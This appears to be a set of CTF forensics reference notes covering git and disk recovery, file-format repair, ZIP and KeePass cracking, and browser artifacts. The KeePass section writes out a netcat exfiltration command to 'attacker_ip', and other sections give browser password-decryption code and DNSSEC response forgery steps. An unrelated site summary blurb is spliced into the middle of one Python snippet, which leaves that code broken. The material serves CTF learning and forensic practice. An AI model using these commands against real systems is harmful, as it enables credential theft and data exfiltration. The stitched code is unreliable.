2017)\n\nA FAT filesystem image with a deleted `.git` directory. Use TSK `fls -r` to list all files including deleted ones (marked with `*`). Extract deleted inodes with `icat`. Reconstruct the git object directory structure from the extracted files, then use `git fsck` and `git log` to recover commit history and flag.\n\n```bash\n# Step 1: List all files including deleted ones (* prefix = deleted)\nfls -r disk.img | grep '\\*'\n# Example output:\n# r/r * 5: .git/HEAD\n# r/r * 6: .git/config\n# r/r * 7: .git/objects/ab/cdef1234...\n\n# Step 2: Extract deleted files by inode number\nicat disk.img 5 > HEAD\nicat disk.img 6 > config\n# Repeat for all git object inodes\n\n# Step 3: Rebuild .git directory structure\nmkdir -p recovered/.git/objects/ab/\n# Place each extracted object at its correct path\n\n# Step 4: Recover commit history\ncd recovered\ngit fsck --full # Check object integrity, find dangling commits\ngit log --all # Show all commits including unreferenced ones\ngit show \u003ccommit_hash> # Inspect specific commit for flag\n```\n\n**Key insight:** FAT marks deleted files by changing the first byte of the directory entry to `0xE5` but keeps cluster data intact until reused. TSK's `fls`/`icat` extracts deleted files by inode, making deletion forensically reversible. Git objects are content-addressed — once extracted, `git fsck` finds all reachable commits even without a valid HEAD reference.\n\n---\n\n## DNSSEC Key Recovery from Git Commit History (Hack.lu 2017)\n\nDNSSEC private signing keys committed to a git repository and later deleted remain permanently in the commit history. Recover the keys to set up a local BIND instance and forge DNSSEC-signed DNS responses.\n\n```bash\n# Step 1: Find commits that deleted key files\ngit log --all --diff-filter=D -- '*.private' '*.key' 'Kexample.*.+*.+*.key'\n\n# Step 2: Recover the deleted key files from the commit before deletion\ngit show \u003ccommit_hash>^:\u003cpath/to/Kzone.+005+12345.private> > recovered.private\ngit show \u003ccommit_hash>^:\u003cpath/to/Kzone.+005+12345.key> > recovered.key\n\n# Alternative: search all commits for key material\ngit log --all -p -- '*.private' | grep -A 20 'Private-key-format'\n\n# Step 3: Verify key contents\ncat recovered.private\n# Private-key-format: v1.3\n# Algorithm: 5 (RSASHA1)\n# ...\n\n# Step 4: Use recovered keys to forge DNSSEC-signed responses\n# Configure BIND with the recovered signing keys and sign the zone\ndnssec-signzone -K /path/to/keys -o example.com zone.db\n```\n\n**Key insight:** Sensitive cryptographic key material in git history is permanently recoverable — `git log --diff-filter=D` finds all commits that deleted files, and `git show \u003ccommit>^:\u003cpath>` retrieves the file's state just before deletion. DNSSEC private keys enable forging any DNS record for the zone, allowing DNS cache poisoning or redirecting traffic to attacker-controlled servers.\n\n---\n\n## XZ Stream Header Repair via CRC32 Reconstruction (Hackover 2018)\n\n**Pattern:** The file has a valid XZ stream footer but the stream header has been overwritten (commonly with `PK\\x03\\x04` to make it look like a ZIP). Rebuild the 12-byte XZ header from the format spec: magic `FD 37 7A 58 5A 00`, two bytes of stream flags, and a 4-byte little-endian CRC32 of those flags. Prepend the reconstructed header to the rest of the file and `xz -d` decompresses cleanly.\n\n```bash\n# 1. Confirm the footer — XZ stream footer magic is \"YZ\" at the end.\nxxd broken.xz | tail -1\n# 00002ff0: 00 00 01 59 5A ...YZ\n\n# 2. Read stream_flags from the footer (byte at offset -6 from EOF)\nSTREAM_FLAGS=$(xxd -p -s -6 -l 2 broken.xz)\n# e.g. 00 04 → CHECK_CRC64\n\n# 3. Compute CRC32 of the 2 flag bytes (little-endian output)\nCRC=$(python3 -c \"import binascii; print(binascii.crc32(bytes.fromhex('$STREAM_FLAGS')).to_bytes(4,'little').hex())\")\n\n# 4. Rebuild the header and replace the first 12 bytes\nprintf '\\xFD7zXZ\\x00' > newhdr.bin\nprintf '%s' \"$STREAM_FLAGS\" | xxd -r -p >> newhdr.bin\nprintf '%s' \"$CRC\" | xxd -r -p >> newhdr.bin\ndd if=newhdr.bin of=broken.xz bs=1 count=12 conv=notrunc\n\n# 5. Decompress\nxz -d broken.xz\n```\n\n**Key insight:** XZ streams are defined by a fixed 12-byte header and a 12-byte footer that both include the same `stream_flags` byte — when the header is damaged you can copy the flags out of the still-intact footer and recompute the header CRC32 locally. The same header-reconstruction trick works for any format where the checksum input is small enough to brute-force or derive from the footer: GZIP (trailing `isize`/`crc32`), ZIP (central directory before the local file header), and zstd (frame header with skip-frames). When the challenge hands you a blob whose magic bytes belong to the wrong format, check the **last few bytes** for the real footer signature before trying to salvage the header.\n\n**References:** Hackover CTF 2018 — UnbreakMyStart, writeup 11508\n\n---\n\n## ZipCrypto Known-Plaintext Cracking via bkcrack (Codegate 2019)\n\n**Pattern:** ZipCrypto (the legacy PKZIP stream cipher, not AES-256) falls to known-plaintext attacks when you have at least 12 bytes of known plaintext for an encrypted file. `pkcrack` is the classic tool but often fails on modern archives; `bkcrack` (https://github.com/kimci86/bkcrack) handles edge cases with partial headers.\n\n```bash\n# Extract any unencrypted neighbour and its encrypted version\nunzip secret.zip unencrypted_known.txt\nbkcrack -C secret.zip -c target.txt -p unencrypted_known.txt -P known.zip\n# Decrypt the whole archive with the recovered internal state\nbkcrack -C secret.zip -k \u003ck0> \u003ck1> \u003ck2> -d target_decrypted.bin\n```\n\n**Key insight:** ZIP headers often include well-known constants (PNG/JPEG magic, empty `README.txt`, `.gitignore`). Any encrypted ZIP that also ships an unencrypted reference file — or where you can guess 12+ bytes of header — falls immediately to `bkcrack`. Swap to it when `pkcrack` throws.\n\n**References:** Codegate CTF 2019 — Rich Project, writeup 12907\n\n---\n\n## SQLite Serial-Type Byte Forensics (RITSEC 2018)\n\n**Pattern:** Two near-identical SQLite files differ only in selected bytes. SQLite records encode each column with a \"serial type\" varint that both describes the type and carries the length (types ≥13 mean strings, length `(type - 13) / 2`). Walk the records, locate the changed serial-type bytes between versions, and read the adjacent text payload to recover hidden characters.\n\n```python\ndef extract_hidden(path):\n with open(path, 'rb') as f: db = f.read()\n offsets = [0x892, 0xBA5, 0xE13] # diff the two files first\n return bytes(db[off] for off in offsets)\n```\n\n**Key insight:** SQLite's varint serial-type scheme stores metadata *inline* with the payload, so an attacker who can flip one varint changes the interpretation of the next N bytes. Diff two versions byte-by-byte, cluster the diffs by record, and decode each varint to locate hidden text fields.\n\n**References:** RITSEC CTF 2018 — Lite Forensics, writeup 12223\n\n---\n\n## Recursive Binwalk Chain PNG->PDF->DOCX->PNG->Base64 (TAMUctf 2019)\n\n**Pattern:** One carrier file hides a chain of embedded documents — PNG with a PDF appended, the PDF embeds a DOCX (which is a ZIP), the DOCX embeds another PNG, and that PNG has Base64 appended after the IEND/EOF. Each layer changes container format to evade naive string searches.\n\n```bash\n# Layer 1-2: carve everything out of the outer PNG (pulls PDF, ZIP streams, etc.)\nbinwalk --dd=\".*\" art.png\ncd _art.png.extracted\nfile * # identify the Microsoft Word 2007+ blob\n\n# Layer 3: DOCX is a ZIP archive\nunzip 34591D -d docx/ # hex offset from binwalk becomes the filename\nls docx/word/media/ # image1.png is the next-layer carrier\n\n# Layer 4: recurse binwalk into the inner PNG to pull an embedded PDF\nbinwalk --dd=\".*\" docx/word/media/image1.png\n\n# Layer 5: check for data appended after %%EOF of the inner PDF\nstrings _image1.png.extracted/*.pdf | tail -n 10\n# -> ZmxhZ3tQMGxZdEByX0QwX3kwdV9HM3RfSXRfTjB3P30K\necho 'ZmxhZ3tQMGxZdEByX0QwX3kwdV9HM3RfSXRfTjB3P30K' | base64 -d\n```\n\n**Key insight:** When `grep flag` on the outermost file fails, assume each extracted file is itself a carrier. DOCX/XLSX/PPTX/APK/JAR are all ZIPs, so `unzip` works directly. PDFs commonly carry data *after* the final `%%EOF`, so always `strings | tail` or seek past the trailer. `binwalk --dd=\".*\"` writes every signature hit to disk so you can recurse with minimal typing.\n\n**References:** TAMUctf 2019 — I Heard You Like Files, writeups 13412 and 13587\n\n---\n\n## Regex-Password Nested Zip Chain with exrex (UTCTF 2019)\n\n**Pattern:** Outer zip contains a `hint.txt` (regex) and `archive.zip`; the regex enumerates the password set for the inner zip. Each extracted zip produces the next regex hint. Chain is deep (1000+ layers) so it must be scripted. `exrex.generate(regex)` materialises every string matching a regex, which is perfect for constrained password spaces.\n\n```python\nimport exrex, zipfile, os\n\nhint = r'^ 7 y RU[A-Z]KKx2 R4\\d[a-z]B N

CTF Forensics & Blockchain Quick reference for forensics CTF challenges. Each technique has a one-liner here; see supporting files for full details. Prerequisites Python packages (all platforms): Linux (apt): macOS (Homebrew): Ruby gems (all platforms): Additional Resources - 3d-printing.md - 3D printing forensics (PrusaSlicer binary G-code, QOIF, heatshrink) - windows.md - Windows forensics (registry, SAM, event logs, recycle bin, NTFS alternate data streams, USN journal, PowerShell history, Defender MPLog, WMI persistence, Amcache) - network.md - Network forensics basics (tcpdump, TLS/SSL k…

\narchive = 'RegularZips.zip'\n\nfor i in range(10000):\n candidates = list(exrex.generate(hint))\n out_dir = f'layer{i}'\n os.makedirs(out_dir, exist_ok=True)\n with zipfile.ZipFile(archive) as zf:\n for pw in candidates:\n try:\n zf.extractall(out_dir, pwd=pw.encode())\n print(f'[{i}] pw={pw}')\n break\n except Exception:\n continue\n else:\n raise RuntimeError(f'no password matched regex at layer {i}')\n with open(os.path.join(out_dir, 'hint.txt')) as f:\n hint = f.read().strip()\n archive = os.path.join(out_dir, 'archive.zip')\n if not os.path.exists(archive):\n print('FLAG IN', out_dir)\n break\n```\n\n**Key insight:** When a zip's password is described by a regex, don't brute ASCII — use `exrex` to enumerate only matching strings (often just a handful of candidates per layer). Automate the extract-read-hint-repeat cycle; 1000 layers finish in seconds because the search space per layer is tiny.\n\n**References:** UTCTF 2019 — Regular Zips, writeups 13951 and 13861\n\n---\n\n## See Also\n\n- [disk-and-memory.md](disk-and-memory.md) - Core disk/memory forensics (Volatility, disk image analysis, VM/OVA/VMDK, VMware snapshots, coredumps, KAPE triage, PowerShell ransomware, Android/Docker/cloud forensics, BSON reconstruction, TrueCrypt/VeraCrypt mounting)\n- [disk-advanced.md](disk-advanced.md) - Advanced disk and memory techniques (deleted partitions, ZFS forensics, GPT GUID encoding, VMDK sparse parsing, memory dump string carving, ransomware key recovery, WordPerfect macro XOR, minidump ISO 9660 recovery, APFS snapshots, RAID 5 XOR recovery)\n","content_type":"text/markdown; charset=utf-8","language":"markdown","size":31594,"content_sha256":"5ec827477b486c3ebe07e07cd49b01c7806330486f6f025696527691e4763c6c"},{"filename":"linux-forensics.md","content":"# CTF Forensics - Linux and Application Forensics\n\n## Table of Contents\n- [Log Analysis](#log-analysis)\n- [Linux Attack Chain Forensics](#linux-attack-chain-forensics)\n- [Docker Image Forensics (Pragyan 2026)](#docker-image-forensics-pragyan-2026)\n- [Browser Credential Decryption](#browser-credential-decryption)\n- [Firefox Browser History (places.sqlite)](#firefox-browser-history-placessqlite)\n- [USB Audio Extraction from PCAP](#usb-audio-extraction-from-pcap)\n- [TFTP Netascii Decoding](#tftp-netascii-decoding)\n- [TLS Traffic Decryption via Weak RSA](#tls-traffic-decryption-via-weak-rsa)\n- [ROT18 Decoding](#rot18-decoding)\n- [Common Encodings](#common-encodings)\n- [Git Directory Recovery (UTCTF 2024)](#git-directory-recovery-utctf-2024)\n- [KeePass Database Extraction and Cracking (H7CTF 2025)](#keepass-database-extraction-and-cracking-h7ctf-2025)\n- [Git Reflog and fsck for Squashed Commit Recovery (BearCatCTF 2026)](#git-reflog-and-fsck-for-squashed-commit-recovery-bearcatctf-2026)\n- [Browser Artifact Analysis](#browser-artifact-analysis)\n - [Chrome/Chromium](#chromechromium)\n - [Firefox](#firefox)\n- [Corrupted Git Blob Repair via Byte Brute-Force (CSAW CTF 2015)](#corrupted-git-blob-repair-via-byte-brute-force-csaw-ctf-2015)\n- [VBA Macro Forensics - Excel Cell Data to ELF Binary (Sharif CTF 2016)](#vba-macro-forensics---excel-cell-data-to-elf-binary-sharif-ctf-2016)\n- [Ethereum / Blockchain Transaction Tracing (Defenit CTF 2020)](#ethereum--blockchain-transaction-tracing-defenit-ctf-2020)\n- [Python In-Memory Source Recovery via pyrasite (Insomni'hack 2017)](#python-in-memory-source-recovery-via-pyrasite-insomnihack-2017)\n\n---\n\n## Log Analysis\n\n```bash\n# Search for flag fragments\ngrep -iE \"(flag|part|piece|fragment)\" server.log\n\n# Reconstruct fragmented flags\ngrep \"FLAGPART\" server.log | sed 's/.*FLAGPART: //' | uniq | tr -d '\\n'\n\n# Find anomalies\nsort logfile.log | uniq -c | sort -rn | head\n```\n\n---\n\n## Linux Attack Chain Forensics\n\n**Pattern (Making the Naughty List):** Full attack timeline from logs + PCAP + malware.\n\n**Evidence sources:**\n```bash\n# SSH session commands\ngrep -A2 \"session opened\" /var/log/auth.log\n\n# User command history\ncat /home/*/.bash_history\n\n# Downloaded malware\nfind /usr/bin -newer /var/log/auth.log -name \"ms*\"\n\n# Network exfiltration\ntshark -r capture.pcap -Y \"tftp\" -T fields -e tftp.source_file\n```\n\n**Common malware pattern:** AES-ECB encrypt + XOR with same key, save as .enc\n\n---\n\n## Docker Image Forensics (Pragyan 2026)\n\n**Pattern (Plumbing):** Sensitive data leaked during Docker build but cleaned in later layers.\n\n**Key insight:** Docker image config JSON (`blobs/sha256/\u003cconfig_hash>`) permanently preserves ALL `RUN` commands in the `history` array, regardless of subsequent cleanup.\n\n```bash\ntar xf app.tar\n# Find config blob (not layer blobs)\npython3 -m json.tool blobs/sha256/\u003cconfig_hash> | grep -A2 \"created_by\"\n# Look for RUN commands with flag data, passwords, secrets\n```\n\n**Analysis steps:**\n1. Extract the Docker image tar: `tar xf app.tar`\n2. Read `manifest.json` to find the config blob hash\n3. Parse the config blob JSON for `history[].created_by` entries\n4. Each entry shows the exact Dockerfile command that was run\n5. Secrets echoed, written, or processed in any `RUN` command are preserved in the history\n6. Even if a later layer `rm -f secret.txt`, the `RUN echo \"flag{...}\" > secret.txt` remains visible\n\n---\n\n## Browser Credential Decryption\n\n**Chrome/Edge Login Data decryption (requires master_key.txt):**\n```python\nfrom Crypto.Cipher import AES\nimport sqlite3, json, base64\n\n# Load master key (from Local State file, DPAPI-protected)\nwith open('master_key.txt', 'rb') as f:\n master_key = f.read()\n\nconn = sqlite3.connect('Login Data')\ncursor = conn.cursor()\ncursor.execute('SELECT origin_url, username_value, password_value FROM logins')\nfor url, user, encrypted_pw in cursor.fetchall():\n # v10/v11 prefix = AES-GCM encrypted\n nonce = encrypted_pw[3:15]\n ciphertext = encrypted_pw[15:-16]\n tag = encrypted_pw[-16:]\n cipher = AES.new(master_key, AES.MODE_GCM, nonce=nonce)\n password = cipher.decrypt_and_verify(ciphertext, tag)\n print(f\"{url}: {user}:{password.decode()}\")\n```\n\n**Master key extraction from Local State:**\n```python\nimport json, base64\nwith open('Local State', 'r') as f:\n local_state = json.load(f)\nencrypted_key = base64.b64decode(local_state['os_crypt']['encrypted_key'])\n# Remove DPAPI prefix (5 bytes \"DPAPI\")\nencrypted_key = encrypted_key[5:]\n# On Windows: CryptUnprotectData to get master_key\n# In CTF: master_key may be provided separately\n```\n\n---\n\n## Firefox Browser History (places.sqlite)\n\n**Pattern (Browser Wowser):** Flag hidden in browser history URLs.\n\n```bash\n# Quick method\nstrings places.sqlite | grep -i \"flag\\|MetaCTF\"\n\n# Proper forensic method\nsqlite3 places.sqlite \"SELECT url FROM moz_places WHERE url LIKE '%flag%'\"\n```\n\n**Key tables:** `moz_places` (URLs), `moz_bookmarks`, `moz_cookies`\n\n---\n\n## USB Audio Extraction from PCAP\n\n**Pattern (Talk To Me):** USB isochronous transfers contain audio data.\n\n**Extraction workflow:**\n```bash\n# Export ISO data with tshark\ntshark -r capture.pcap -T fields -e usb.iso.data > audio_data.txt\n\n# Convert to raw audio and import into Audacity\n# Settings: signed 16-bit PCM, mono, appropriate sample rate\n# Listen for spoken flag characters\n```\n\n**Identification:** USB transfer type URB_ISOCHRONOUS = real-time audio/video\n\n---\n\n## TFTP Netascii Decoding\n\n**Problem:** TFTP netascii mode corrupts binary transfers; Wireshark doesn't auto-decode.\n\n**Fix exported files:**\n```python\n# Replace netascii sequences:\n# 0d 0a → 0a (CRLF → LF)\n# 0d 00 → 0d (escaped CR)\nwith open('file_raw', 'rb') as f:\n data = f.read()\ndata = data.replace(b'\\r\\n', b'\\n').replace(b'\\r\\x00', b'\\r')\nwith open('file_fixed', 'wb') as f:\n f.write(data)\n```\n\n---\n\n## TLS Traffic Decryption via Weak RSA\n\n**Pattern (Tampered Seal):** TLS 1.2 with `TLS_RSA_WITH_AES_256_CBC_SHA` (no PFS).\n\n**Attack flow:**\n1. Extract server certificate from Server Hello packet (Export Packet Bytes -> `public.der`)\n2. Get modulus: `openssl x509 -in public.der -inform DER -noout -modulus`\n3. Factor weak modulus (dCode, factordb.com, yafu)\n4. Generate private key: `rsatool -p P -q Q -o private.pem`\n5. Add to Wireshark: Edit -> Preferences -> TLS -> RSA keys list\n\n**After decryption:**\n- Follow TLS streams to see HTTP traffic\n- Export objects (File -> Export Objects -> HTTP)\n- Look for downloaded executables, API calls\n\n---\n\n## ROT18 Decoding\n\nROT13 on letters + ROT5 on digits. Common final layer in multi-stage forensics:\n```python\ndef rot18(text):\n result = []\n for c in text:\n if c.isalpha():\n base = ord('a') if c.islower() else ord('A')\n result.append(chr((ord(c) - base + 13) % 26 + base))\n elif c.isdigit():\n result.append(str((int(c) + 5) % 10))\n else:\n result.append(c)\n return ''.join(result)\n```\n\n---\n\n## Common Encodings\n\n```bash\necho \"base64string\" | base64 -d\necho \"hexstring\" | xxd -r -p\n# ROT13: tr 'A-Za-z' 'N-ZA-Mn-za-m'\n```\n\n---\n\n## Git Directory Recovery (UTCTF 2024)\n\n```bash\n# Exposed .git directory on web server\ngitdumper.sh https://target/.git/ /tmp/repo\n\n# Check reflog for old commits with secrets\ncat .git/logs/HEAD\n# Download objects from .git/objects/XX/YYYY, decompress with zlib\n```\n\n**Tool:** `gitdumper.sh` from internetwache/GitTools is most reliable.\n\n---\n\n## KeePass Database Extraction and Cracking (H7CTF 2025)\n\n**Pattern (Moby Dock):** KeePass database (`.kdbx`) found on compromised system contains SSH keys or credentials for lateral movement.\n\n**Transfer from remote system:**\n```bash\n# On target: base64 encode and send via netcat\nbase64 .system.kdbx | nc attacker_ip 4444\n\n# On attacker: receive and decode\nnc -lvnp 4444 > kdbx.b64 && base64 -d kdbx.b64 > system.kdbx\n```\n\n**Cracking KeePass v4 databases:**\n```bash\n# Standard keepass2john (KeePass v3 only)\nkeepass2john system.kdbx > hash.txt\n\n# For KeePass v4 (KDBX 4.x with Argon2): use custom fork\ngit clone https://github.com/ivanmrsulja/keepass2john.git\ncd keepass2john && make\n./keepass2john system.kdbx > hash.txt\n\n# Alternative: keepass4brute (direct brute-force)\npython3 keepass4brute.py -d wordlist.txt system.kdbx\n```\n\n**Wordlist generation from challenge context:**\n```bash\n# Generate wordlist from related website content\ncewl http://target:8080 -d 2 -m 5 -w cewl_words.txt\n\n# Add theme-related keywords manually\necho -e \"expectopatronum\\nharrypotter\\nalohomora\" >> cewl_words.txt\n\n# Crack with hashcat (Argon2 = mode 13400)\nhashcat -m 13400 hash.txt cewl_words.txt\n```\n\n**After cracking — extract credentials:**\n1. Open `.kdbx` in KeePassXC with recovered password\n2. Check all entries for SSH private keys, passwords, API tokens\n3. SSH keys are typically stored in the \"Notes\" or \"Advanced\" attachment fields\n\n**Key insight:** Standard `keepass2john` does not support KeePass v4 (KDBX 4.x) databases that use Argon2 key derivation. Use the `ivanmrsulja/keepass2john` fork or `keepass4brute` for v4 support. Generate context-aware wordlists with `cewl` targeting related web services.\n\n---\n\n## Git Reflog and fsck for Squashed Commit Recovery (BearCatCTF 2026)\n\n**Pattern (Poem About Pirates):** Git repository with clean history where data was overwritten and history rewritten via `git rebase --squash`. The original commits survive as orphaned objects.\n\n**Recovery steps:**\n```bash\n# Check reflog for rebase/squash operations\ngit reflog --all\n\n# Find orphaned (unreachable) commits\ngit fsck --unreachable --no-reflogs\n\n# Inspect each unreachable commit\ngit show \u003ccommit-hash>\ngit diff \u003ccommit-hash>^ \u003ccommit-hash>\n\n# Extract specific file version from orphaned commit\ngit show \u003ccommit-hash>:path/to/file\n```\n\n**Key insight:** `git rebase --squash` removes commits from the branch history but doesn't delete the underlying objects. They remain as unreachable objects until garbage collection runs (`git gc`). Even after `git gc`, objects younger than the expiry period (default 2 weeks) survive. Always check `git reflog` and `git fsck --unreachable` when investigating git repos for hidden data.\n\n**Detection:** Git repo with suspiciously clean history (single commit, or squash-merge commits). Challenge mentions \"rewrite\", \"rebase\", \"squash\", or \"clean history\".\n\n---\n\n## Browser Artifact Analysis\n\n### Chrome/Chromium\n\n```bash\n# Default profile locations\n# Linux: ~/.config/google-chrome/Default/\n# macOS: ~/Library/Application Support/Google/Chrome/Default/\n# Windows: %LOCALAPPDATA%\\Google\\Chrome\\User Data\\Default\\\n\n# History (SQLite)\nsqlite3 \"History\" \"SELECT url, title, datetime(last_visit_time/1000000-11644473600,'unixepoch') FROM urls ORDER BY last_visit_time DESC LIMIT 50;\"\n\n# Downloads\nsqlite3 \"History\" \"SELECT target_path, tab_url, datetime(start_time/1000000-11644473600,'unixepoch') FROM downloads;\"\n\n# Cookies (encrypted on modern Chrome — need DPAPI/keychain key)\nsqlite3 \"Cookies\" \"SELECT host_key, name, datetime(expires_utc/1000000-11644473600,'unixepoch') FROM cookies;\"\n\n# Login Data (passwords — encrypted)\nsqlite3 \"Login Data\" \"SELECT origin_url, username_value FROM logins;\"\n\n# Bookmarks (JSON)\ncat Bookmarks | python3 -m json.tool | grep -A2 '\"url\"'\n\n# Local Storage / IndexedDB — LevelDB format\n# Use leveldb-dump or strings on LevelDB files\nstrings \"Local Storage/leveldb/\"*.ldb | grep -i flag\n```\n\n### Firefox\n\n```bash\n# Profile location: ~/.mozilla/firefox/*.default-release/\n# Find profile\nls ~/.mozilla/firefox/ | grep default\n\n# History + bookmarks (places.sqlite)\nsqlite3 places.sqlite \"SELECT url, title, datetime(last_visit_date/1000000,'unixepoch') FROM moz_places WHERE last_visit_date IS NOT NULL ORDER BY last_visit_date DESC LIMIT 50;\"\n\n# Form history\nsqlite3 formhistory.sqlite \"SELECT fieldname, value FROM moz_formhistory;\"\n\n# Saved passwords (requires key4.db + logins.json)\n# Use firefox_decrypt: python3 firefox_decrypt.py ~/.mozilla/firefox/PROFILE/\n\n# Session restore (previous tabs)\npython3 -c \"\nimport json, lz4.block\nwith open('sessionstore-backups/recovery.jsonlz4','rb') as f:\n f.read(8) # skip magic\n data = json.loads(lz4.block.decompress(f.read()))\n for w in data['windows']:\n for t in w['tabs']:\n print(t['entries'][-1]['url'])\n\"\n```\n\n**Key insight:** Browser artifacts are SQLite databases with non-standard timestamp formats. Chrome uses WebKit epoch (microseconds since 1601-01-01), Firefox uses Unix epoch in microseconds. Always check History, Cookies, Login Data, Local Storage, and session restore files. For encrypted passwords, you need the master key (DPAPI on Windows, keychain on macOS, key4.db on Firefox).\n\n---\n\n## Corrupted Git Blob Repair via Byte Brute-Force (CSAW CTF 2015)\n\n**Pattern (sharpturn):** Git repository with corrupted blob objects. Since git identifies objects by SHA-1 hash, a single-byte corruption changes the hash, making the object unreadable. Repair by brute-forcing each byte position until `git hash-object` produces the expected hash.\n\n```python\nimport subprocess, shutil\n\ndef repair_blob(filepath, target_hash):\n \"\"\"Brute-force single-byte corruption in a git blob.\"\"\"\n with open(filepath, 'rb') as f:\n data = bytearray(f.read())\n\n for pos in range(len(data)):\n original = data[pos]\n for val in range(256):\n if val == original:\n continue\n data[pos] = val\n with open(filepath, 'wb') as f:\n f.write(data)\n result = subprocess.run(\n ['git', 'hash-object', filepath],\n capture_output=True, text=True\n )\n if result.stdout.strip() == target_hash:\n print(f\"Fixed byte {pos}: 0x{original:02x} -> 0x{val:02x}\")\n return True\n data[pos] = original\n\n with open(filepath, 'wb') as f:\n f.write(data)\n return False\n```\n\n**Workflow:**\n1. `git fsck` to identify corrupted objects and their expected hashes\n2. Locate the corrupt blob files in `.git/objects/`\n3. Decompress with `python3 -c \"import zlib; print(zlib.decompress(open('blob','rb').read()))\"`\n4. Brute-force each byte position (256 values * file_size attempts)\n5. Verify with `git hash-object` matching the expected hash\n\n**Key insight:** Git's content-addressable storage means the expected SHA-1 hash is known from the commit tree, even when the blob is corrupted. Single-byte corruption is brute-forceable in seconds. For multi-byte corruption, combine with contextual knowledge (e.g., source code must compile, numeric constants must be valid).\n\n---\n\n## VBA Macro Forensics - Excel Cell Data to ELF Binary (Sharif CTF 2016)\n\nExcel spreadsheet hides an entire executable as numeric cell values. A VBA (Visual Basic for Applications) macro transforms each cell via `CByte((cell_value - 78) / 3)` and writes bytes to produce an ELF (Executable and Linkable Format) binary. Safe analysis: export to CSV, reimplement transform in Python.\n\n```python\nimport csv\nwith open('data.csv') as f, open('binary', 'wb') as out:\n for row in csv.reader(f):\n for cell in row:\n if cell.strip():\n out.write(bytes([int((int(cell) - 78) / 3)]))\n```\n\n**Key insight:** Malware delivery via spreadsheet cell values with arithmetic transformation. Always reimplement VBA macro logic in Python rather than executing the macro. Check for `olevba` output to extract the transformation formula.\n\n**Detection:** Excel file with large numbers in cells, VBA macro with `CByte`/`Chr`/`Write` operations.\n\n---\n\n## Ethereum / Blockchain Transaction Tracing (Defenit CTF 2020)\n\nTrack cryptocurrency through tumbler/mixer services by analyzing on-chain transaction patterns.\n\n```python\nimport requests\nfrom collections import defaultdict\n\ndef trace_ethereum_transactions(address, api_key, depth=3):\n \"\"\"Trace ETH transactions through tumbler hops\"\"\"\n url = f\"https://api.etherscan.io/api?module=account&action=txlist&address={address}&apikey={api_key}\"\n r = requests.get(url)\n txs = r.json()[\"result\"]\n\n graph = defaultdict(list)\n for tx in txs:\n graph[tx[\"from\"]].append({\n \"to\": tx[\"to\"],\n \"value\": int(tx[\"value\"]) / 1e18, # Wei to ETH\n \"timestamp\": int(tx[\"timeStamp\"])\n })\n\n # Heuristics for tumbler detection:\n # 1. Amount correlation: input ~= output (minus fee)\n # 2. Timing: outputs follow inputs within minutes/hours\n # 3. Fan-out pattern: one input splits to many outputs\n # 4. Round amounts: tumblers often use round ETH values\n\n # Filter by transaction count (skip high-volume faucets/exchanges)\n suspicious = {addr: txs for addr, txs in graph.items()\n if 5 \u003c len(txs) \u003c 100} # Not faucet, not end-user\n\n return suspicious\n\n# Tools for blockchain forensics:\n# - Etherscan API: transaction history, internal transactions\n# - Blockchair: multi-chain explorer (BTC, ETH, etc.)\n# - Chainalysis Reactor: commercial but referenced in CTFs\n# - breadcrumbs.app: free transaction visualization\n```\n\n**Key insight:** Blockchain tumblers obscure transaction trails but leave statistical patterns. Track by correlating input/output amounts (minus fees), timing windows, and intermediate wallet transaction counts. Wallets with 10-50 transactions are likely intermediaries; 1000+ are exchanges/faucets to ignore.\n\n---\n\n## Python In-Memory Source Recovery via pyrasite (Insomni'hack 2017)\n\nWhen a Python process has its source file deleted but is still running, attach to it with `pyrasite-shell` and decompile code objects from memory.\n\n```bash\n# 1. Find the running Python process\npgrep -f \"python\"\n\n# 2. Attach with pyrasite (requires ptrace permissions)\npyrasite-shell \u003cPID>\n\n# 3. Inside the pyrasite shell, enumerate and decompile functions:\nimport sys, uncompyle6\n# List all global variables and functions\nfor name, obj in globals().items():\n if hasattr(obj, 'func_code'):\n print(f\"\\n=== {name} ===\")\n uncompyle6.main.uncompyle(sys.version_info[0] + sys.version_info[1]/10.0,\n obj.func_code, sys.stdout)\n\n# 4. Also check for variables containing secrets\nprint(globals()) # May contain flags, keys, etc.\n```\n\n**Key insight:** `pyrasite` injects a Python shell into a running process via `ptrace`. All code objects and global variables remain in memory even after the source file is deleted. `uncompyle6` decompiles `func_code` objects back to readable Python source. For Python 3.9+ processes, use [`pycdc`](https://github.com/zrax/pycdc) instead (`pycdc` operates on `.pyc` files — write code objects to disk with `marshal.dump` first).\n\n**Detection:** Challenge provides access to a running system where a Python process is active but the `.py` source file has been deleted. `ls -l /proc/\u003cPID>/exe` shows the Python interpreter; `/proc/\u003cPID>/fd/` may still reference the deleted file. Check `ptrace` permissions (`/proc/sys/kernel/yama/ptrace_scope`).\n","content_type":"text/markdown; charset=utf-8","language":"markdown","size":18983,"content_sha256":"ecd6108d6fe44dd83530f3d7fed7ccf7d2e5703ae48c4f06fc4e65e43e081798"},{"filename":"network-advanced.md","content":"# CTF Forensics - Network (Advanced)\n\nFor USB/HID/Bluetooth peripheral capture analysis (mouse/pen drawing recovery, keyboard scan codes, LED Morse exfiltration, RFCOMM reassembly), see [peripheral-capture.md](peripheral-capture.md). For basic network forensics, see [network.md](network.md).\n\n## Table of Contents\n- [Packet Interval Timing-Based Encoding (EHAX 2026)](#packet-interval-timing-based-encoding-ehax-2026)\n- [NTLMv2 Hash Cracking from PCAP (Pragyan 2026)](#ntlmv2-hash-cracking-from-pcap-pragyan-2026)\n- [TCP Flag Covert Channel (BearCatCTF 2026)](#tcp-flag-covert-channel-bearcatctf-2026)\n- [DNS Query Name Last-Byte Steganography (UTCTF 2026)](#dns-query-name-last-byte-steganography-utctf-2026)\n - [DNS Trailing Byte Binary Encoding (UTCTF 2026)](#dns-trailing-byte-binary-encoding-utctf-2026)\n- [Multi-Layer PCAP with XOR + ZIP (UTCTF 2026)](#multi-layer-pcap-with-xor--zip-utctf-2026)\n- [Brotli Decompression Bomb Seam Analysis (BearCatCTF 2026)](#brotli-decompression-bomb-seam-analysis-bearcatctf-2026)\n- [SMB RID Recycling via LSARPC (Midnight 2026)](#smb-rid-recycling-via-lsarpc-midnight-2026)\n- [Timeroasting / MS-SNTP Hash Extraction (Midnight 2026)](#timeroasting--ms-sntp-hash-extraction-midnight-2026)\n- [ICMP Payload Steganography with Byte Rotation (HackIM 2016)](#icmp-payload-steganography-with-byte-rotation-hackim-2016)\n- [Packet Reconstruction via Checksum Validation (Break In 2016)](#packet-reconstruction-via-checksum-validation-break-in-2016)\n- [dnscat2 Traffic Reassembly from DNS PCAP (BSidesSF 